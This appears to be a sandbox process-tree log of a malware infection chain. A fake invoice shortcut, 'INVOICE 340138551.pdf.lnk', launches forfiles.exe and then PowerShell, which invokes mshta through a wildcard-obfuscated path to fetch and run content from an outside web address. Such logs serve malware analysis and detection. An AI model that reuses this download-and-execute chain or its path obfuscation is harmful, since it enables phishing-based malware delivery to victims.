cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "wGywO" "C:\Users\test22\AppData\Local\Temp\INVOICE 340138551.pdf.lnk"
1648forfiles.exe "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \*i*\*2\msh*e https://www.eahealth.org/misc/ui/Invoice_340138551
2148powershell.exe . \*i*\*2\msh*e https://www.eahealth.org/misc/ui/Invoice_340138551
2232